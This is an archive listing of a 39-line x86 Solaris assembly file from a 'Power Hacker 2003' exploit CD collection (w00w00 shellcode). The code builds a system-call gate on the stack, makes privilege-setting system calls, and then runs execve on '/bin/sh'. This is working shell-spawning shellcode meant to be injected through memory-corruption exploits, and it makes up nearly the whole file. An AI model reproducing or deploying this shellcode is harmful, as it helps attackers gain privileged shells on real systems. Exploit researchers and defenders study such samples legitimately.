home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / w00w00 / shellcode / solaris / solx86.S < prev   
Encoding:
Text File  |  1998-12-31  |  588 b   |  39 lines

  1. .globl main
  2.  
  3. main:
  4.    movl  %esp,%ebp
  5.    subl  $0x64,%esp
  6.  
  7.    xorl  %edx,%edx
  8.    movb  $0x9a,-50(%ebp)
  9.    movl  %edx,-49(%ebp)
  10.    movl  %edx,-45(%ebp)
  11.    movb  $0x07,-45(%ebp)
  12.    movb  $0xC3,-43(%ebp)
  13.    movl  %edx,-4(%ebp)
  14.    subl  $50,%ebp
  15.  
  16.    pushl %edx
  17.    pushl %edx
  18.    pushl %edx
  19.  
  20.    movb  $0x17,%al
  21.    call  %ebp
  22.    addl  $0x4,%esp
  23.  
  24.    movb  $0x8d,%al
  25.    call  %ebp
  26.    addl  $0x4,%esp
  27.  
  28.    movl  $addy,42(%ebp)
  29.    leal  42(%ebp),%eax
  30.    pushl %eax
  31.    movl  42(%ebp),%eax
  32.    pushl %eax
  33.    subl  $0x4,%esp
  34.    xorl  %eax,%eax
  35.    movb  $0x3b,%al
  36.    jmp   %ebp
  37. addy:
  38.    .string "/bin/sh"
  39.